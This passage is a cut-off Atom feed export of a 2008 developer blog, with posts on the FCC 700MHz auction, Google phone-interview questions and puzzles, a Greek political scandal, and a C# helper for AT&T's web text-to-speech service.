Celebrate For A Little - 1K Visitors!'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R7KoB_jJFfI/AAAAAAAAACQ/5WIkL9q31JA/s72-c/0607_fireworks_green.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2029206370057988266</id><published>2008-02-10T23:34:00.000-08:00</published><updated>2008-12-09T07:12:07.409-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Bidding In The Name Of...</title><content type='html'>One of the most important 'events' worldwide in mobile communications is the currently open FCC auction for the 700Mhz band or Auction 73 in short. It started in January 24th and among things that make it interesting, is the diversity in the participants' list. While participants and bidders will not be known until the auction finishes, some of them have already expressed publicly their interest in the auction, the most interesting being Google Inc.&lt;br /&gt;&lt;br /&gt;The band auctioned off covers the spectrum from 700MHz to 800MHz and is one of the last bands that are of interest to wireless communication carriers due to its physical properties (ability to penetrate walls, buildings etc) The spectrum in auction is divided into 5 zones, names as A,B,C,D and E blocks legally divided into 1000+ licenses. The Holy Grail seems to be the C block, since it is the largest 'strip' (of total 22Mhz, almost double than any other block in auction), it is the least segmented (total of 12 regional licenses among 1099 licenses) and also the best suitable for building wireless networks.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7ALFfjJFeI/AAAAAAAAACI/QOAbr4u4ujQ/s1600-h/wireless-google.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R7ALFfjJFeI/AAAAAAAAACI/QOAbr4u4ujQ/s200/wireless-google.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5165640961590105570" /&gt;&lt;/a&gt;&lt;br /&gt;Google has decided to enter the mobile market. This has been obvious for a long time now, since basically it is easy to notice how carefully the company launches the mobile version of its services (search and mail were always available for mobile phones)The company also has much interest in collaborating with different vendors and platforms. For example, the iPhone was the first to host the mobile Ajax version of Google mobile services: Search, News, Blog, GMail and others.&lt;br /&gt;&lt;br /&gt;However, above all comes the Google mobile platform currently under development: Android. The platform basically tries to bring the Open Source culture on mobiles. First, it is a Linux based platform (or according to Symbian's CEO &lt;a href="http://www.symbian-freak.com/news/007/11/android_just_another_linux_platform.htm"&gt;Yet Another Linux Platform&lt;/a&gt;!) Second, it is free to vendors that choose Android to build their phones on. On the road its adoption from the industry, Android will have to face multiple challenges: a segmented market with many big players (Symbian, Micosoft, Sun,Apple) but also a different world where mobile wireless carriers are the dominant players.&lt;br /&gt;&lt;br /&gt;It isn't clear however, if Google wants to own the band, to use it for building wireless networks to host the Android and gPhones or just to assure open access to these networks. The latter was very clear from the beginning and it is speculated that Google was the 4.7 billion $ bidder that guarantees that &lt;span style="font-weight:bold;"&gt;whoever wins the C block will provide with an open-access network.&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;If Google wants to take it further it will have to play against big names, the most motivated being Verizon Wireless. But this is not all. There is a hundred other participants in auction 73, among them, AT&amp;T, CableVision and EchoStar (to provide with wireless services) and even Chevron corporation, &lt;span style="font-weight:bold;"&gt;maybe&lt;/span&gt; interested in creating a network among different company departments.&lt;br /&gt;&lt;br /&gt;Recently the auction for the C block took a wild turn. In February 5th it was the first time when nationwide bidding was under the aggregate of the 12 regional biddings. As a result, the block might be segmented into different winners, leading possibly to a Babel of incompatibilities that will make it useless. As an antidote bidders should win every region or agree later on an open and free network. It is a commonly expressed opinion that if Google wins the auction, we will witness big changes in the way which the mobile industry works. Taking into consideration the open nature of Google's Android platform this is not science fiction, however reality is much harder for Google. With its recent moves the company has caused a lot of frustration, even to traditional allies like Sun or Apple, for different reasons to each. Android is also problematic (&lt;a href="http://android-developers.blogspot.com/2008/01/deadline-extension-for-android.html"&gt;see here for example&lt;/a&gt;) and has not yet convinced mobile developers that it is the revolution it preaches to be.&lt;br /&gt;&lt;br /&gt;No industry analyst makes better predictions than time, so we will have to wait for a clear view. Until the auction finishes anything else (including this post) is speculation..!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2029206370057988266?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/2029206370057988266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=2029206370057988266' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2029206370057988266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2029206370057988266'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/02/bidding-in-name-of.html' title='Bidding In The Name Of...'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R7ALFfjJFeI/AAAAAAAAACI/QOAbr4u4ujQ/s72-c/wireless-google.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7687110661541890792</id><published>2008-02-05T17:14:00.000-08:00</published><updated>2008-12-09T07:12:07.550-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mathematics'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Interviews Part IV</title><content type='html'>This is the 3rd interview I had with Google. You can find the previous and the questions asked here:&lt;br /&gt;* &lt;a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html"&gt;First Google interview&lt;/a&gt;&lt;br /&gt;* &lt;a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-iii.html"&gt;Second interview&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Update&lt;a href="http://developeronline.blogspot.com/2008/03/google-interviews-part-v-just-two-more.html"&gt;: Fourth Google Interview&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the 3rd interview I talked with a woman software engineer from Mountain View. As usually it lasted for about 45 minutes but there was a surprise waiting at the last question..But let's take things from the beginning.&lt;br /&gt;&lt;br /&gt;The first question was a hard test for my memory: &lt;span style="font-weight: bold;"&gt;"How do you test your code?"&lt;/span&gt; This is a fair one for software engineers. But not for my style. I personally like things that are quick and dirty. For larger projects I use some of my own class libraries that employ some kind of logging, measure method execution time and so on. But saying &lt;span style="font-style: italic;"&gt;"Well, I use my own class libraries."&lt;/span&gt; I thought would not be a good answer. Nor a professional one.&lt;br /&gt;&lt;br /&gt;So talking about Java, I made the mistake of mentioning the JUnit framework. I had used for some time (long ago) but the time had passed so I had forgotten even the basics. And of course the interviewer started the questions (&lt;span style="font-style: italic;"&gt;How the JUnit handles exception and others&lt;/span&gt;) To tell you a secret I had already opened in my browser a JUnit site (some kind of tutorial I guess) but this didn't help at all. So, don't do it. It will only make things worse. Trying to think logically didn't help either. The interviewer kept pushing, until I 'broke' and admitted that I couldn't answer. That was it. We moved to the next question.&lt;br /&gt;&lt;br /&gt;All next questions were really typical, the kind you find in tech interview sites:&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;"What is a Unix kernel?"&lt;/span&gt;&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;"What is the difference between interfaces and abstractt classes?"&lt;/span&gt;&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;"What is the difference between threads and processes?"&lt;/span&gt;&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;"What is inheritance, polymorphism and encapsulation?"&lt;/span&gt;&lt;br /&gt;* &lt;span style="font-weight: bold;"&gt;"What is overriding and what is overloading?"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I think there is no need to elaborate further on that. You most probably have come across these concepts and have your own mind.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/R6kZRtqPD_I/AAAAAAAAAB4/LjIKvZYnKVk/s1600-h/cube.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/R6kZRtqPD_I/AAAAAAAAAB4/LjIKvZYnKVk/s200/cube.jpg" alt="" id="BLOGGER_PHOTO_ID_5163686239862198258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Which brings us to the last question. Actually it was a puzzle including programming with handicaps, i.e. with small processor, low memory etc. The puzzle was this:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;"You have 1000 integers. All are less than 1000 and greater or equal to 1. Among them, 999 are distinct and there is one that is found twice. How can you find the duplicate?"&lt;/span&gt; To this I gave an answer I think is optimal. The idea is simple. If you denote the duplicate number by &lt;span style="font-style: italic;"&gt;d&lt;/span&gt; and the sum of all the integers by &lt;span style="font-style: italic;"&gt;S&lt;/span&gt; then the following equation holds:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S-d= 499500&lt;/span&gt; since &lt;span style="font-style: italic;"&gt;S-d&lt;/span&gt; is the sum 1+2+3...+999 which is equal to 499500 by applying the formula 1+2+3...+n = n*(n+1)/2&lt;br /&gt;Now the good thing is that we can be able to find the duplicate even we have capacity for one integer, or when reading from a stream and so on. We can optimize even if we apply modulus to the first equation: &lt;span style="font-style: italic;"&gt;d = (S-500) (mod 1000)&lt;/span&gt; Now if &lt;span style="font-style: italic;"&gt;d&lt;/span&gt; is equal to a positive number mod1000 then this is the duplicate, otherwise the duplicate is the negative part plus 1000. For example is 1 was the duplicate, then &lt;span style="font-style: italic;"&gt;d=1(mod 1000)&lt;/span&gt; and the duplicate had to be the 1. If the duplicate was 600, then &lt;span style="font-style: italic;"&gt;d=-400(mod 1000)&lt;/span&gt; so the duplicate had to be -400+1000=600. This means we do not need to have storage for integer (&lt;span style="font-weight: bold;"&gt;int&lt;/span&gt; type) but only the &lt;span style="font-weight: bold;"&gt;byte&lt;/span&gt; type is enough.&lt;br /&gt;&lt;br /&gt;While fairly easy to grasp the interviewer had difficulties in understanding how this would work, so she asked for an example when we have 10 integers. I replied this would transform the equation to &lt;span style="font-style: italic;"&gt;d =S-45&lt;/span&gt; but then the counter question was disappointing: &lt;span style="font-weight: bold;"&gt;"How did you compute 45?"&lt;/span&gt; It is quite obvious however that I had to compute 1+2...+9 which is equal to 45 when applying the formula that Gauss found when he was 8. But the interviewer started computed 'by hand' the sum, adding the numbers from 1 up to 9, which left me speechless for some seconds. I mentioned that there was a formula for that but she didn't listen, still being concentrating on her computations. I didn't bother elaborating on the modulus idea since obviously would not give me any more credit.&lt;br /&gt;&lt;br /&gt;After that, the interview had finished. I didn't ask anything, saying something like '&lt;span style="font-style: italic;"&gt;I have many questions but I do not wish to spend any more of your time'&lt;/span&gt; and we ended the conversation. In overall the last incident was really awkward. To that time I believed that all Google engineers had a good mathematical background. The engineer that I spoke with, did lack elementary skills. So in my eyes, the myth had been destroyed and it is a good advice to anybody, not bother berating himself more than he should. If you already knew the formula for the sum of consecutive integers, you have a good reason to feel more confident.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Update: Go to the last &lt;a href="http://developeronline.blogspot.com/2008/03/google-interviews-part-v-just-two-more.html"&gt;Google phone interview&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7687110661541890792?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/7687110661541890792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=7687110661541890792' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7687110661541890792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7687110661541890792'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/02/google-interviews-part-iv.html' title='Google Interviews Part IV'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/R6kZRtqPD_I/AAAAAAAAAB4/LjIKvZYnKVk/s72-c/cube.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-2720596992296509173</id><published>2008-01-28T04:50:00.000-08:00</published><updated>2009-10-06T14:19:21.512-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greece'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>For God's sake, Calm Down..</title><content type='html'>Recently, I published a post about the &lt;a href="http://developeronline.blogspot.com/2008/01/greeks-do-it-better.html"&gt;Zahopoulos scandal&lt;/a&gt; that has been in top news stories in Greece for the last month. It was intended to be an analysis about the case, with some information over some of its key participants (Zahopoulos, Evi Tsekou, Prime Minister Mr.Karamanlis and his wife Natasa Karamanli and others)&lt;br /&gt;&lt;br /&gt;If you are not aware of the case, it involves a DVD in which Zahopoulos is supposed to reveal secrets to Mrs. Evi Tsekou, during their private moments, that are of great political significance. From the moment this was revealed, a large portion of Greek journalists, public but also Greek intelligence agencies have embarked on a safari for the discovery of the precious content.&lt;br /&gt;&lt;br /&gt;Now, the site has been receiving massive traffic, originating primarily from search engines that respond to queries like 'zahopoulos dvd', 'zahopoulos tsekou original dvd' and so on.&lt;br /&gt;&lt;br /&gt;I have also received some 'weird' e-mails and I want to make clear to all officials and un-officials that I am not aware of the DVD's location or possible download sites of course. The hype escalated when, yesterday, a video circulated in the net, now is on Youtube and countless 'low-profile' sites (blogs etc.), that supposedly is a part of the DVD content. You can find this &lt;a href="http://www.youtube.com/watch?v=KygWnzjOWoA"&gt;video here.&lt;/a&gt;This video was top story in all Greek media and all kind of 'experts' took turns in expressing their 'prestigious opinions'.&lt;br /&gt;&lt;br /&gt;However, once again, &lt;span style="font-weight:bold;"&gt;their information was absolute nonsense&lt;/span&gt;. It is obvious that this &lt;span style="font-weight:bold;"&gt;video is a fake.&lt;/span&gt; This is such an amateur work that the creator records his PC screen that most probably runs some kind of movie maker software (the DVD content was created by using a still hidden camera). It is also fake for a thousand more reasons for which I will not bother writing. So, from this place I would recommend to anybody to simply 'calm down'.&lt;br /&gt;&lt;br /&gt;After all, the 'tampered' DVD (not the original) &lt;span style="font-weight:bold;"&gt;will be released to the public in February 8th&lt;/span&gt; by the official interrogator that is in charge of the case. So, let's have patience and focus on the important things here.&lt;br /&gt;* Who has the original DVD?&lt;br /&gt;* What is its content?&lt;br /&gt;* What was so important that led a powerful political man, like Zahopoulos, to commit suicide? Was it of economical or political nature? Or both?&lt;br /&gt;&lt;br /&gt;We are patiently waiting for the justice to arrive at conclusions. From my point, I can only publish my own thoughts and the information I gather in a most-neutral way possible. I intend to keep on ignoring the darkness in my mail inbox and willing to express my opinions freely.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2720596992296509173?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/2720596992296509173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=2720596992296509173' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2720596992296509173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2720596992296509173'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/for-gods-sake-calm-down.html' title='For God&apos;s sake, Calm Down..'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-8104051315570520573</id><published>2008-01-25T02:03:00.000-08:00</published><updated>2008-02-20T05:46:30.737-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.net'/><category scheme='http://www.blogger.com/atom/ns#' term='software'/><title type='text'>Text-To-Speech For The Masses</title><content type='html'>Adding speech to your software application might be a good idea. It is not still commercially much appreciated, but it is at least a nice way for show-off! To be serious, new human-computer interfaces will most probably be one the next big things. All major software companies have heavily invested on this area and the CES 2008 pointed out a lot of such cases. For example, the &lt;a href="http://www.spacetime.com/"&gt;SpaceTime search interface&lt;/a&gt; was really beautiful and therefore interesting.&lt;br /&gt;&lt;br /&gt;However, I had not, until now, managed to get in my hands any decent and inexpensive Text-To-Speech  engine (TTS). Perhaps, I was not lucky but I have tried along the way many solutions that did return speech on text input, but the result was unpleasant. For example &lt;a href="http://blogs.msdn.com/coding4fun/archive/2006/10/31/909044.aspx"&gt;the SpeechLib from MSDN&lt;/a&gt; for Windows was one, but as most of the other TTS engines, has robotic and 'cold' voices, the kind that appears in good-old sci-fi cult movies.&lt;br /&gt;&lt;br /&gt;By far, the best TTS solution I have come across is AT&amp;amp;T Text-To-Speech Project. This is a project of &lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;a href="http://www.research.att.com/"&gt;AT&amp;amp;T Research&lt;/a&gt;. It is actually web-based and it is &lt;span style="font-weight: bold;"&gt;free.&lt;/span&gt;One should however not abuse the service and make a reasonable amount of calls to it. There is a commercial version available, but if you are doing this for fun, you do not need it.&lt;br /&gt;&lt;br /&gt;The interface in the site allows you to enter a text, select a voice of your preference (they have names like Crystal, Mike, Charles etc-my favorite is Crystal) and click a button. Then you are pointed to a URL that has the &lt;span style="font-weight: bold;"&gt;WAV version&lt;/span&gt; of your input text. The voice is clear and in certain cases the result is very satisfying.&lt;br /&gt;&lt;br /&gt;I have compiled a small lib function for everybody to use the service. It is written in C# and effectively it makes an HTTP POST request in order to generate the audio file. The source code is straightforward and it goes like this:&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Example input: speak("Hello there","crystal")&lt;br /&gt;C# source code for AT&amp;amp;T TTS services&lt;br /&gt;by panefsky&lt;/span&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;blockquote&gt;  private string speak(string theText, string theVoice)&lt;br /&gt;       {&lt;br /&gt;           try&lt;br /&gt;           {&lt;br /&gt;               string uriString = "http://192.20.225.55/tts/cgi-bin/nph-talk";&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;              &lt;span style="font-style: italic;"&gt;/* Create a new WebClient instance.*/&lt;/span&gt;&lt;br /&gt;               WebClient myWebClient = new WebClient();&lt;br /&gt;&lt;br /&gt;              &lt;span style="font-style: italic;"&gt; /* Create a new NameValueCollection instance to hold some custom parameters to be posted to the URL.*/&lt;/span&gt;&lt;br /&gt;               System.Collections.Specialized.NameValueCollection myNameValueCollection = new System.Collections.Specialized.NameValueCollection();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;               string voice=theVoice;&lt;br /&gt;               string txt = theText;&lt;br /&gt;               string downloadButton = "DOWNLOAD";&lt;br /&gt;&lt;br /&gt;              &lt;span style="font-style: italic;"&gt;/* Add necessary parameter/value pairs to the name/value container.*/&lt;/span&gt;&lt;br /&gt;               myNameValueCollection.Add("voice", voice);&lt;br /&gt;               myNameValueCollection.Add("txt", txt);&lt;br /&gt;               myNameValueCollection.Add("downloadButton", downloadButton);&lt;br /&gt;&lt;br /&gt;              &lt;span style="font-style: italic;"&gt;/* Upload the NameValueCollection.*/&lt;/span&gt;&lt;br /&gt;               byte[] responseArray = myWebClient.UploadValues(uriString, "POST", myNameValueCollection);&lt;br /&gt;               string response = Encoding.ASCII.GetString(responseArray);&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/*This code retrieves hyperlinks from a page*/&lt;/span&gt;&lt;br /&gt;               PODN.Net.Search.PageParser pp = new PODN.Net.Search.PageParser();&lt;br /&gt;               PODN.Net.Search.PageLink[] links = pp.RetrieveHyperlinks(response, uriString);&lt;br /&gt;&lt;br /&gt;     string fileToPlay=null;&lt;br /&gt;     if(links!=null &amp;amp;&amp;amp; links.Length&gt;0)&lt;br /&gt;               fileToPlay = "http://192.20.225.55" + links[0].URL;&lt;br /&gt;&lt;br /&gt;      return fileToPlay;&lt;br /&gt;           }&lt;br /&gt;           catch (Exception e) { /* ERROR */}&lt;br /&gt;&lt;br /&gt;       }&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This function (&lt;span style="font-style: italic;"&gt;string speak(string, string)&lt;/span&gt;) accepts as input the text to say and the voice to use. Voice values can be "crystal", "mike" etc. As a result it returns the URL in which the WAV file resides. This C# source code can be compiled and built on .NET Framework. It uses some .NET libraries  such as the System.Net and System.Text that it is easy to link. It also uses one of my .NET libs (the PODN library) and especially a function to retrieve hyperlinks from a page. You might be well be in the possession of your own, home-made networking libs. You can compile this version to run also on mobile phones and the Windows Mobile platform, with one minor change in the source code. You will have to configure the POST request, because the .NET Compact Framework does not support the &lt;span style="font-weight: bold;"&gt;WebClient&lt;/span&gt; class. Use of plain and simple &lt;span style="font-weight: bold;"&gt;HttpWebRequest&lt;/span&gt; will be just fine for giving voice also to your mobile phone.&lt;br /&gt;&lt;br /&gt;To demonstrate a use case, I have created a mini-app called &lt;span style="font-weight: bold;"&gt;Speaker&lt;/span&gt; (yes my imagination has gone wild!) that has two simple functions:&lt;br /&gt;1. You can write a text and have the computer say it&lt;br /&gt;2. You can push the 'Tell me the News' button, which will download Yahoo! news and let let the computer tell the top 5 in the news list.&lt;br /&gt;&lt;br /&gt;You can find the &lt;span style="font-weight: bold;"&gt;application (&lt;span style="font-weight: bold;"&gt;speaker.zip&lt;/span&gt;) in the &lt;a href="http://www.drop.io/developeronline/"&gt;Developer On Line file site&lt;/a&gt;&lt;/span&gt;. Download the &lt;span style="font-weight: bold;"&gt;zip&lt;/span&gt; file, unpack and run. Your computer has now voice!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;For any clarifications about the software, feel free to comment.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-8104051315570520573?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://developeronline.blogspot.com/feeds/8104051315570520573/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8823755788673864603&amp;postID=8104051315570520573' title='25 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8104051315570520573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/8104051315570520573'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/01/text-to-speech-for-masses.html' title='Text-To-Speech For The Masses'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>25</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-6079163034757125588</id><published>2008-01-20T16:28:00.001-08:00</published><updated>2008-12-09T07:12:08.062-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Interviews Part III</title><content type='html'>This continues &lt;a href="http://developeronline.blogspot.com/2008/01/google-interviews-part-ii.html"&gt;from my first Google interview described here&lt;/a&gt; In overall, the second one was harder in terms of questions and expectations. I was called again from Mountain View sharply at the time we had arranged.&lt;br /&gt;&lt;br /&gt;The conversation began with an interesting question: &lt;span style="font-weight:bold;"&gt;"What would you change in the Java programming language?"&lt;/span&gt; This has more than one questions embedded and it is educating listening to all possible answers. For example, one of my suggestions was having 'mechanisms' much like the &lt;span style="font-style:italic;"&gt;properties&lt;/span&gt; fields in C# to ease development (programming &lt;span style="font-style:italic;"&gt;get/set&lt;/span&gt; methods seems very tiring to me)Since the question was referring to the language and not to the Virtual Machine anything you find tiring or absent in Java is probably a valid answer.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/R5P2EOOM3PI/AAAAAAAAABw/obovC-ZeTiM/s1600-h/1_google_logo.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/R5P2EOOM3PI/AAAAAAAAABw/obovC-ZeTiM/s200/1_google_logo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5157736550666919154" /&gt;&lt;/a&gt;&lt;br /&gt;We next proceeded to a C programming question. My interviewer knew that I was not a C-guru so he was gentle on that. The question was something like this. What is the output of this C program?&lt;br /&gt;&lt;span style="font-style:italic;"&gt;main() {&lt;br /&gt;char X[500] = "Hello World";&lt;br /&gt;printf("%s",X+5);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;I knew it had to do something with memory allocation but I was not succinct on that. I said that the output would be blank and I guess I was right (&lt;span style="font-weight:bold;"&gt;the interviewers never tell you directly if you are right or wrong&lt;/span&gt;) So we said OK and moved on.&lt;br /&gt;&lt;br /&gt;The 3rd question was about creating &lt;span style="font-style:italic;"&gt;random functions.&lt;/span&gt; It is the type of questions where given a function &lt;span style="font-style:italic;"&gt;randX&lt;/span&gt; that provides uniformly numbers from 1 to X, to generate a &lt;span style="font-style:italic;"&gt;another randY.&lt;/span&gt; The actual question was about making &lt;span style="font-weight:bold;"&gt;rand8&lt;/span&gt; from &lt;span style="font-weight:bold;"&gt;rand6&lt;/span&gt;. It is easy to establish how to get a &lt;span style="font-weight:bold;"&gt;rand2&lt;/span&gt; from &lt;span style="font-weight:bold;"&gt;rand6.&lt;/span&gt; Then you can get &lt;span style="font-weight:bold;"&gt;rand8&lt;/span&gt; from &lt;span style="font-weight:bold;"&gt;rand2&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;This was a straightforward case. However, this problem appears very often in such situations and deserves some attention. You may find &lt;span style="font-weight:bold;"&gt;unlimited nonsense&lt;/span&gt; by searching for &lt;a href="http://www.google.com/search?q=create+rand7+from+rand5&amp;sourceid=navclient-ff&amp;ie=UTF-8&amp;rlz=1B3GGGL_enGR239GR239"&gt;'create rand7 from rand5&lt;/a&gt;' which is also a frequent question. Trying these forums/blogs etc you will get endless efforts of shifting from one &lt;span style="font-style:italic;"&gt;rand&lt;/span&gt; to another using &lt;span style="font-weight:bold;"&gt;common arithmetic functions (addition, mod etc)&lt;/span&gt;. This is nonsense. You will have to shift to &lt;span style="font-style:italic;"&gt;elementary analysis&lt;/span&gt; for a while to get some good results.&lt;br /&gt;&lt;br /&gt;In the general case consider you have to generate &lt;span style="font-weight:bold;"&gt;randX&lt;/span&gt; from &lt;span style="font-weight:bold;"&gt;randY&lt;/span&gt; where &lt;span style="font-weight:bold;"&gt;Y &gt; X&lt;/span&gt;. Now consider that this yields the division: &lt;span style="font-weight:bold;"&gt;Y = n*X+r&lt;/span&gt; So, you can &lt;span style="font-weight:bold;"&gt;one&lt;/span&gt; group of &lt;span style="font-weight:bold;"&gt;Y&lt;/span&gt; elements into &lt;span style="font-weight:bold;"&gt;X&lt;/span&gt; groups of &lt;span style="font-weight:bold;"&gt;n&lt;/span&gt; elements and &lt;span style="font-weight:bold;"&gt;one&lt;/span&gt; more group with &lt;span style="font-weight:bold;"&gt;r&lt;/span&gt; elements. Now number the &lt;span style="font-weight:bold;"&gt;X&lt;/span&gt; groups as &lt;span style="font-style:italic;"&gt;1,2,3..X&lt;/span&gt; Then, create a 'machine' that uses the algorithm:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;m = randY();&lt;br /&gt;IF m belongs to one of the X groups &lt;span style="font-weight:bold;"&gt;return its number&lt;/span&gt;&lt;br /&gt;ELSE restart the machine&lt;/span&gt;&lt;br /&gt;The probability in every run of the algorithm to return one specific value from 1 to X is &lt;span style="font-style:italic;"&gt;a =n/Y &lt;/span&gt; and the probability that the algorithm restarts is &lt;span style="font-style:italic;"&gt;b = r/Y&lt;/span&gt;. So, the overall probability that the machine will output one number from 1 to X is :&lt;br /&gt;&lt;span style="font-style:italic;"&gt;P = a+a*b+a*b*b+a*b*b*b+... = a*(1+b+b*b+...) = a/(1-b).&lt;br /&gt;By substitution we get, P = 1/X &lt;/span&gt;&lt;br /&gt;In other words, we have generated the function &lt;span style="font-weight:bold;"&gt;randX&lt;/span&gt;&lt;br /&gt;Now, if we wish to increase the rand range, for example get &lt;span 